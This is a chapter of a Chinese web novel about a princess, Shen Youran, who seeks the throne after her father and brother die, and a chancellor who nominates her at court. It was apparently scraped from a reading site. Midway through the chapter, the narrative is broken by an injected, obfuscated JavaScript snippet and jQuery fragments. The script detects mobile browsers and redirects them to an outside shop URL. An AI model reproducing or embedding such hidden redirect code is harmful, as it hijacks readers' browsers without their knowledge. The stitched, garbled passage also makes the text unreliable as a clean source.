76. 第 76 章

作品:《帝姬为王

    沈悠然做皇帝?


    蔺朝暮下意识地就觉得惊恐,但话到嘴边了,又觉得好像没有什么理由去反对。


    如果说她肚子里生出来的孩子是个女儿一切或许还有转圜的余地。


    倘若是个男孩儿,前太子的遗孤,这个身份的存在就足以让所有人觉得尴尬。


    蔺朝暮不敢去赌人心,倘若她处在庄太后的位置上,一边是自己的亲儿子,另一边是毫无血缘关系的重孙,她也会选前者。


    又假设靖王并无即位之心,但一个襁褓中的婴儿又如何能承担得起家国大任?到时候由重臣辅国,日子长了难免生出异心。


    一个年幼无知的帝王只会让家国动荡。


    比起这两种可能,作为沈煦亲妹妹,沈悠然是对蔺朝暮来说,最好的人选。


    只是她一个女子想要上位,势必会受到很多的责难。


    沈悠然安慰她,大盛历史上又不是没有出过女皇帝。


    蔺朝暮微微愣神,她是知道那段历史的,可那时候的沈氏皇室除了那位先祖女帝,几乎已经没有人活着了,百姓和朝臣们没了办法,才只能让一个女人即位。


    而现在,有更为合适的沈嘉正和蔺朝暮肚子里的孩子,沈悠然想要争取帝位并非易事。


    沈悠然也是明白,她想要的东西有多么难得,但他没有别的选择。


    仅凭一个庄家,铁定不敢大胆设下埋伏诛杀严晟和哥哥,他的背后一定还有人。


    一个连哥哥的太子身份都不怕的人。


    若自己还只是一个帝姬,那更别想要调查清楚这背后的关系了。


    为了真相,也为了能够让庄家得到惩罚,她只能往上爬。


    况且就是这么巧,在庄家出事之后,沈照也紧跟着杀父弑母,她隐隐觉得这两件事之间藏着她还没想明白的联系。


    所以她需要权势,需要能够查清楚一切的力量。


    除此之外,她心中还有另外的考量。


    从前只呆在宫中的时候,只能看见头顶的天地,但真正走出去看过了,她意识到父皇和哥哥,还有喜好游山玩水广交朋友的十四叔,都不适合当皇帝。


    又或者说,他们不适合在现在当皇帝。


    盛世才需要他们这样仁慈的人当皇帝,而如今的大盛就像是被虫蚁从内部开始啃食过的木块,只能维持一个表象。


    庄家从一个外戚逐渐被纵容到敢杀太子这件事上,就足以看得出来。


    沈悠然现在怀疑,当初那个马场的管事,也根本不是什么内务府刻意恭维,而是庄明阳早就卖过官职了,所以知道随意给一个罪人洗白摇身一变成了马场管事,不过是他勾勾手指头的事。


    或许魏淳一开始也是和他有所勾结,但因为庄明阳发现了更赚钱的逍遥散,他不再需要魏淳这个棋子,但又担心事情败露,只好找机会灭口。


    如今的大盛,不能再对这些恶人们“网开一面”,需要的是一个手段强硬的“暴君”。


    而沈悠然觉得,自己是最合适的。


    *


    因为盛兴帝的崩逝,朝堂上一时间群龙无首。


    先帝临去世的那几年,醉心于床榻之事,身为皇后有责任和义务督促皇帝勤政,但屡次三番都被先帝打发走了。


    庄太后无法,只得让人搬着奏折,亲自到先帝床边念给他听。


    后来先帝烦了,索性让彼时的庄皇后自己批阅,遇见拿不定主意的再去寻他。


    是以虽然是女子,但庄太后也有过几年的亲政经验,此时也坐在朝堂之上听政。


    待到要下朝之时,她轻咳了一声示意,立马有人上前。


    “太后,臣有要事启奏。”


    “先太子与先帝先后遇难,此乃我大盛之哀,让臣悲之痛之。然臣日夜难眠心中有愧,时时想起先帝在时告诫诸位大臣要以百姓为首,不得不在此时进言,还请太后娘娘早日放下心中哀痛,以大盛百姓为首,安稳时局,早日立下新帝人选。”


    此言一出,有几人附和着跪下,嘴里跟着他的话大喊。


    “请太后娘娘早日放下心中哀痛,以大盛百姓为首,安稳时局,早日立下新帝人选。”


    庄太后闻言,佯装悲痛地抽噎了几声,随后才问他几人心中可有合适人选。


    本就是授庄太后之意才上前的,此时接过她递来的梯子,直言靖王是最适合即位的。


    剩下的大臣们面面相觑,各有自己心中的成算。


    一部分虽不是庄太后的人,但也明白靖王无论是出身还是阅历,都很适合即位,自然不会反对。


    一部分是传统派,认为皇位早在盛兴帝即位的时候就归属于盛兴帝帝这一脉,既然太子妃腹中还留有血脉,那就应该传给太子妃肚中的孩子。


    还有一小部分同靖王没什么交情的,心里念着与其扶持一个靖王,倒不如去支持太子妃肚中子嗣,说不准还能捞得个从龙之功,往后成为幼帝的肱股之臣。


    一时间朝堂上隐有微词,但谁都能看出来,庄太后肯定是更属意自己的儿子。


    此时再出来提太子妃肚子里的孩子,那就是摆明了要和庄太后撕破脸皮。


    就在大家伙儿都面面相觑着等待有人能开口时,季丞相撩起自己的官袍,上前一步跪在庄太后的面前。


    作为朝中重臣,季丞相的话一直都很有分量。


    见他站了出来,庄太后心中不担心。


    一个连话都说不了的皇帝能带给大盛的,只有浮躁的臣心和动荡的时局,季时是贤臣,不会看不懂这个道理。


    有了他的支持,一切就显得更顺理成章了。


    庄太后隐隐有些激动,当年她就一直想让自己的儿子沈嘉正上位。


    但奈何沈嘉正从先帝那里没能继承点好性子,贪玩的本性倒是遗传了个十成十。


    当年先帝就曾为了能够和后妃有更多的时间厮混,连批阅奏折一事都可以交由她人。


    沈嘉正也是这般,说起当皇帝来,第一个想到的不是滔天权势,而是先帝被朝臣堵在书房里,让他势必要解决地方水源问题的样子。


    盛兴帝因生母早逝的原因,本就早慧,在沈嘉正出生之后更是意识到自己的处境尴尬,一方面是感念庄太后的养育之恩,一方面也是为了讨好,处处维护沈嘉正。


    这就让沈嘉正更没了当皇帝的想法——当皇帝还要早起晚归,要肩负百姓的生计问题,而当个闲散王爷什么也不用做,还有皇兄给他兜底。


    当年他极力反对的时候,就曾被庄太后指着鼻子质疑过怎么会生出这样一个没有野心的儿子来。


    而现在,养子一家死了,亲子是唯一合适的人选……


    一想到这里,庄太后不禁坐直了身子,浅笑着等待季丞相开口。


    “禀太后娘娘,臣以为,新帝的人选,还有……”


    他的话头不对,庄太后敏锐地察觉到了,但却来不及阻止。


    “还有先帝嫡女,昭懿帝姬!”


    此言一出,朝堂上下皆是一片哗然。


    “昭懿帝姬?帝姬?一个女子当皇帝?”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17006294|188867||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>“季老怕不是年纪大了,糊涂了吧?”


    “皇室血脉固然重要,但昭懿帝姬一介女子,如何能当新帝?”


    “这季老头肯定疯了……”


    周遭的议论声此起彼伏,甚至有人在揣测季时是不是因为看中他的先帝突然崩逝,怕自己得不到重用了,才去推选一个女子上位。


    太子妃肚中孩子尚未知是男是女,若是生了个女儿出来,那位置多半还是会回到靖王手中。


    与其现在冒着得罪庄太后的风险去赌太子妃肚中孩子性别,直接推选一个好拿捏的女子上位,似乎也是一个不错的选择。


    一些心事活络的,当即就觉得季丞相这是姜还是老的辣。


    只可惜了,昭懿帝姬是个女子。


    女子怎么能当皇帝呢?


    也不知道是谁没控制住自己嘟囔的声音,这一阵带有嗤笑般的抱怨声,在所有人的耳畔响起。


    季时在昨夜听到沈悠然的话时,也是这么想的。


    因为盛兴帝的离世,整个朝野上下动荡不安,朝中诸事皆由庄太后和几位大臣共同商议。


    作为丞相,季时每日都得先过一遍折子,将其按照紧急程度分门别类,第二日呈交给太后。


    正要歇下的时候,就听门房来报,说昭懿帝姬来访。


    一开始他还以为帝姬是因为悲愤来找孙女儿诉苦的,但却看见带着帷帽一袭黑衣的昭懿帝姬踏进书房门,才知她找的确实是自己。


    这番低调行事,让季时不免也重视起来。


    直到听见沈悠然想让他在早朝的时候替她开口争皇位时,还不慎打碎了一个砚台。


    “可、可帝姬……帝姬如何能做得皇帝呢?”


    他的这番话,沈悠然没觉得意外,指了指他手侧的折子。


    “敢问季大人,这折子是递给谁看?”


    “如今朝政由太后代管,自然是写给太后看的。”


    “太后亦是女子,为何折子还要交由太后?”


    季时下意识地就反驳,“那是因为如今朝堂群龙无首,太后曾协助先帝处理政事,自然是该上呈给太后。”


    话一说出口,他意识到不对。


    太后是女子,但太后因为从前代管时未曾出过差错,甚至有不少的决策让季时也忍不住叫好。


    譬如从前地方税收账目时常混乱不清,庄太后便下令,地方守军的军饷有一部分由地方关税承担。


    这样一来,地方守军自然而然就会成为一个监督者,倘若有人想要从中牟取暴利,首先就过不了地方守军这一关。


    这样一来,既解决了朝廷离得太远无法及时督查的问题,又能节约一部分的军饷支出。


    是以如今让太后参政,朝堂上下都没什么意见。


    如果他反对的只是一个昏庸无能的帝王,那如果一个人能做到很好,是否还要去在意是男是女呢?


    见季时陷入了沉思,沈悠然趁热打铁。


    “我虽不如父皇和兄长擅长权谋之术,但我知用人,一个好的将军不看他武功有多高强,而是看他调兵遣将的能力。”


    “行兵打仗非一人之事,而同样的,家国之事也是一样。”


    她掏出一封折子递到季时面前,言辞恳切。


    “季丞相,从前天灾之时,我大盛先祖以女儿身带领众百姓与天抗争,亦能为我大盛博出一条生路。”


    “如今我沈悠然以沈家先祖和我父兄的名义起誓,若我为大盛帝王,那我便……”


    “只做大盛的帝王。”